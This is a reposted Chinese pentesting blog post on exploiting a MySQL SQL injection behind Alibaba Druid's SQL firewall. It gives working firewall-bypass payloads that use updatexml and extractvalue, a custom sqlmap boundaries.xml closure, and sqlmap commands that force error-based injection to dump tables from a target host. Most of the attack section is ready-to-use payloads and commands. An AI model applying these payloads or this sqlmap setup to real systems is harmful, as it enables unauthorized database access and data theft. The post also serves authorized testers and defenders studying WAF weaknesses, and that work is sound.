注:本文针对xm17大佬遇到的实际场景进行补充。
问题场景
在测试中,遇到了一个sql注入,注入点出现在查询语句中,通过报错信息得知,sql语句如下:
select * from http_sequence_log t where t.pguid like '%${pguid}%' andreplace(pguid,'-','')
遇到这种基本上闭合加报错一笔带过就OK了 但是呢,报错,提示sql注入,sql查询语句中包含恒为假的条件
sql injection violation, part alway false condition not allow

漏洞判定
通过注入点判断,确定当前确实存在sql注入漏洞
报错:guid=12'and 1-user='
正常:guid=12'and 1-user()='

sqlmap直接跑,发现无法识别出当前注入点。经过搜索发现是druid的sql防火墙拦截导致的。

漏洞利用
参考链接:
https://mp.weixin.qq.com/s/lGalf63VXCva2I5BpmSMgQ
在本地搭建环境后,测试出的payload可以绕过 。
12' or updatexml(1,concat(0x7e,user(),0x7e),1) ='1

扩展
同理可以得出以下payload
'or+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1同理 &&和||也可以%26%26updatexml(1,concat(0x7e,(select+user()),0x7e),1)='1

解决sqlmap无法注入
我们发现sqlmap无法识别此注入点,主要是因为无法闭合后面的sql语句中的%'
那我们就自己添加一组闭合方式。
修改sqlmap配置文件“sqlmap\data\xml\boundaries.xml”新增或者只保留此一种闭合方式。
<?xml version="1.0" encoding="UTF-8"?><root><!-- Generic boundaries --><boundary><level>1</level><clause>1</clause><where>1</where><ptype>1</ptype><prefix>'</prefix><suffix>='</suffix></boundary></root>

直接sqlmap跑,发现可以成功盲注,但是太慢了
sqlmap.py -u "http://192.168.3.202:8080/monitorLog?guid=12" --dbms="mysql" -v 3

我们可以强制让sqlmap走报错注入模式,速度瞬间飞起:
sqlmap.py -u "http://192.168.3.202:8080/monitorLog?guid=12*" --technique=E -v 3 --tables -D "apimonitor"

备注:
druid的sql防火墙对应的类路径为:com\alibaba\druid\wall\WallFilter.java

引入配置文件


黑名单展示:


文章转载自SafeTime,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




